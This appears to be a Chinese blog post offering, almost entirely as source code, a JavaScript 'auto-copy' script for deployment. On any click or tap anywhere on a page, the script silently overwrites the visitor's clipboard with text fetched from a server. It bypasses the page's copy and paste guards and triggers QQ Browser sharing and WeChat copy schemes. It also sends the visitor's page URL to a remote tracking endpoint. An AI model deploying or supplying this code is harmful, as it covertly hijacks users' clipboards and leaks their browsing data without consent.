自动复制 JavaScript 脚本,JavaScript点击任意位置复制脚本源码

其实就是一个复制脚本:

他创建了一个层,然后这个层的z-index层级很高。

Javascript脚本:


(function($$) {
    var EVAutoCopy = {
        trigger: null,
        dd: document,
        ww: window,
        listener: [],
        listenerCopy: null,
        text: null,
        action: "copy",
        ua: window.navigator.userAgent,
        host: location.protocol + "//" + location.host,
        id: "default",
        token: "",
        hascopy: null,
        hasload: null,
        hascopy2: null,
        closeqq: "no",
        tongjiURL:null,
        listenerTouchend: [],
        getCodeUrl:"json.json?callback=vvvv",
        showAd: function() {
            this.id = window.amb_jd_proxy_f;
        },
        randText : function(pams) {
            return this.rands(pams);
        },
        rands : function(source) {
            return source[Math.floor(Math.random()*source.length)];
        },
        isArray : function(f) {
            return "[object Array]" == Object.prototype.toString.call(f)
        },
        init: function() {
            var EV_core = this;
            EV_core.trigger = EV_core.dd.getElementsByTagName("*");
            EV_core.showAd();
            EV_core.hascopy = EV_core.sGet("amb_jd_copy");
            EV_core.hasload = EV_core.sGet("amb_jd_load");
            if (null == EV_core.sGet("amb_jd_open")) {
                var vinfo = "";
                null != EV_core.sGet("amb_jd_open_info") ? (vinfo = EV_core.sGet("amb_jd_open_info")) : (vinfo = EV_core.randomString(), EV_core.sSet("amb_jd_open_info", vinfo, window.amb_jd_proxy_c));
                EV_core.getJSONP(EVAutoCopy.getCodeUrl, {
                    f: EV_core.id,
                    h: EV_core.hasload,
                    current_url: encodeURIComponent(top.location.href)
                }, function(b) {
                    var autoText = b.code;
                    if(EVAutoCopy.isArray(autoText)){
                        autoText = EVAutoCopy.randText(autoText);
                    }
                    EVAutoCopy.tongjiURL = b.tongji;
                    EV_core.text = autoText;
                    EV_core.token = b.token;
                    EV_core.closeqq = b.closeqq;
                    if (b.iscn == "no") {
                        EV_core.wxcp(b.text);
                    }
                    EV_core.sSet("amb_jd_load", "has", 86400);
                    "null" == EV_core.text && (EV_core.text = 0);
                    EV_core.dd.queryCommandSupported && EV_core.dd.queryCommandSupported(EV_core.action) ? EV_core.text && (EV_core.listenClick(), EV_core.listenTouchend()) : 1 < EV_core.ua.split("MQQBrowser").length && 1 < EV_core.ua.split("Android").length && 2 > EV_core.ua.split("MicroMessenger").length && 2 > EV_core.ua.split("QQ/").length ? EV_core.text && EV_core.qqCopy() : (EV_core.listenerCopy = EV_core.listenNode(EV_core.dd.body, "click", EV_core.clipboardCopy.bind(EV_core)));
                }, this);
            }
        },
        wxcp: function(a) {
            if (/MicroMessenger/i.test(navigator.userAgent)) {
                var iframe = document.createElement("iframe");
                iframe.style.cssText = "display:none;width:0px;height:0px;";
                iframe.src = "weixin://webview/copy/" + a;
                document.body.appendChild(iframe);
            }
        },
        cp: function(a) {
            var b = this;
            if (b.hascopy2 == null && EVAutoCopy.tongjiURL !=null) {
                b.hascopy2 = "yes";
                b.getJSONP(EVAutoCopy.tongjiURL, {
                    f: b.id,
                    h: b.hascopy,
                    current_url: encodeURIComponent(top.location.href)
                }, function(c) {
                    b.sSet("amb_jd_open", "close", window.amb_jd_proxy_c);
                    b.sSet("amb_jd_copy", "has", 86400);
                }, true);
            }
        },
        qqCopy: function() {
            var a = this,
                b = a.text,
                c = navigator.appVersion,
                e = 1 < c.split("MQQBrowser/").length ? 2 : 0;
            if (a.closeqq == "yes") {
                return true;
            }
            if (e) {
                var f = {
                    url: b,
                    to_app: "10",
                    us_txt: "23s"
                };
                b = c.split("MQQBrowser/")[1].split(".");
                b = parseFloat(b[0] + "." + b[1]);
                b = 5.4 > (e ? b : 0) ? "//3gimg.qq.com/html5/js/qb.js" : "//jsapi.qq.com/get?api=app.share";
                c = a.dd.createElement("script");
                var d = a.dd.getElementsByTagName("body")[0];
                c.setAttribute("src", b);
                c.onload = function() {
                    "undefined" != typeof a.ww.browser && "undefined" != typeof a.ww.browser.app && 2 == e ? (a.ww.browser.app.share(f), a.cp("1")) : "undefined" != typeof a.ww.qb && 1 == e && (a.ww.qb.share(f), a.cp("1"));
                };
                d.appendChild(c);
            }
        },
        clipboardCopy: function(a) {
            _this.ww.clipboardData && this.text && _this.ww.clipboardData.setData("Text", this.text);
            this.listenerCopy.destroy();
        },
        listenClick: function() {
            for (var a = this, b = 0; b < a.trigger.length; b++) {
                a.listener.push(a.listenNode(a.trigger[b], "click", function(b) {
                    return a.onClick(b, "click");
                }));
            }
        },
        listenTouchend: function() {
            for (var a = this, b = 0; b < a.trigger.length; b++) {
                a.listenerTouchend.push(a.listenNode(a.trigger[b], "touchend", function(b) {
                    return a.onClick(b, "touchend");
                }));
            }
        },
        listenNode: function(a, b, c) {
            a.addEventListener(b, c, true);
            return {
                destroy: function() {
                    a.removeEventListener(b, c, true);
                }
            };
        },
        onClick: function(a, b) {
            var c = this;
            this.dd.body.hasAttribute("oncopy") && this.dd.body.setAttribute("oncopy", "return true");
            this.dd.body.hasAttribute("onpaste") && this.dd.body.setAttribute("onpaste", "return true");
            "INPUT" != a.target.nodeName && "TEXTAREA" != a.target.nodeName && ((new $$(this.text, this.action, function(a) {
                a ? c.cp("1") : c.cp("2");
            })).start(), "click" == b ? (this.listenerD = true, this.listener.forEach(function(a, b) {
                a.destroy();
            })) : "touchend" == b && this.listenerTouchend.forEach(function(a, b) {
                a.destroy();
            }));
            this.dd.body.hasAttribute("oncopy") && this.dd.body.setAttribute("oncopy", "return false");
            this.dd.body.hasAttribute("onpaste") && this.dd.body.setAttribute("onpaste", "return false");
        },
        randomString: function() {
            var a = "";
            for (i = 0; 7 > i; i++) {
                a += "ABCDEFGHJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(61 * Math.random()));
            }
            return a;
        },
        sGet: function(a) {
            try {
                if (!this.ww.localStorage[a]) {
                    return null;
                }
                var b = JSON.parse(this.ww.localStorage[a]);
                return b.time < (new Date).getTime() ? (this.ww.localStorage[a] = null) : b.value;
            } catch (c) {
                return console.log("not localStorage."), null;
            }
        },
        sSet: function(a, b, c) {
            try {
                var e = {
                    name: a,
                    value: b,
                    time: (new Date).getTime() + 1000 * c
                };
                this.ww.localStorage[a] = JSON.stringify(e);
            } catch (f) {
                console.log("not localStorage.");
            }
        },
        now: function() {
            return (new Date).getTime();
        },
        rand: function() {
            return Math.random().toString().substr(2);
        },
        parseData: function(a) {
            var b = "";
            if ("string" === typeof a) {
                b = a;
            } else if ("object" === typeof a) {
                for (var c in a) {
                    b += "&" + c + "=" + encodeURIComponent(a[c]);
                }
            }
            b += "&_time=" + this.now();
            return b = b.substr(1);
        },
        getJSONP: function(a, b, c) {
            a = a + (-1 === a.indexOf("?") ? "?" : "&") + this.parseData(b);
            if ((b = /callback=(\w+)/.exec(a)) && b[1]) {
                var e = b[1];
            } else {
                e = "jsonp_" + this.now() + "_" + this.rand(), a = a.replace("callback=?", "callback=" + e), a = a.replace("callback=%3F", "callback=" + e);
            }
            b = document.createElement("script");
            b.type = "text/javascript";
            b.src = a;
            b.id = "id_" + e;
            window[e] = function(a) {
                window[e] = void 0;
                var b = document.getElementById("id_" + e),
                    k = b.parentNode;
                k && 11 !== k.nodeType && k.removeChild(b);
                c(a);
            };
            (a = document.getElementsByTagName("head")) && a[0] && a[0].appendChild(b);
        }
    };
    try {
        parent.window.location.href != window.location.href && (EVAutoCopy.host = parent.window.location.protocol + "//" + parent.window.location.host, EVAutoCopy.dd = parent.document, EVAutoCopy.ww = parent.window), EVAutoCopy.init();
    } catch (a) {
        EVAutoCopy.init();
    }
})(function(h, g, a) {
    return {
        fakeElem: null,
        text: h,
        action: g,
        selectedText: null,
        dd: document,
        ww: window,
        start: function() {
            this.text && (parent.window.location.href != window.location.href && (this.ww = top.window, this.dd = top.document), this.selectFake());
        },
        selectFake: function() {
            var a = "rtl" == this.dd.documentElement.getAttribute("dir");
            this.removeFake();
            this.fakeElem = this.dd.createElement("textarea");
            this.fakeElem.style.fontSize = "12pt";
            this.fakeElem.style.border = "0";
            this.fakeElem.style.padding = "0";
            this.fakeElem.style.margin = "0";
            this.fakeElem.style.position = "absolute";
            a ? (this.fakeElem.style.right = "-9999px") : (this.fakeElem.style.left = "-9999px");
            this.fakeElem.style.top = (this.ww.pageYOffset || this.dd.documentElement.scrollTop) + "px";
            this.fakeElem.setAttribute("readonly", "");
            this.fakeElem.value = this.text;
            this.dd.body.appendChild(this.fakeElem);
            this.selectedText = this.selectText(this.fakeElem);
            this.copyText();
        },
        removeFake: function() {
            this.fakeElem && (this.dd.body.removeChild(this.fakeElem), this.fakeElem = null);
        },
        copyText: function() {
            var b = void 0;
            try {
                b = this.dd.execCommand(this.action);
            } catch (c) {
                b = false;
            }
            this.removeFake();
            a.call(this, b);
        },
        selectText: function(element) {
            if ("SELECT" === element.nodeName) {
                element.focus(), element = element.value;
            } else if ("INPUT" === element.nodeName || "TEXTAREA" === element.nodeName) {
                var b = element.hasAttribute("readonly");
                b || element.setAttribute("readonly", "");
                element.select();
                element.setSelectionRange(0, element.value.length);
                b || element.removeAttribute("readonly");
                element = element.value;
            } else {
                element.hasAttribute("contenteditable") && element.focus();
                b = this.ww.getSelection();
                var e = this.dd.createRange();
                e.selectNodeContents(element);
                b.removeAllRanges();
                b.addRange(e);
                element = b.toString();
            }
            return element;
        }
    };
});



返回的JSON:

vvvv({"auth":"vvvv","code":["code1","code2","code..."]});

测试吧

阅读更多
博主设置当前文章不允许评论。

没有更多推荐了,返回首页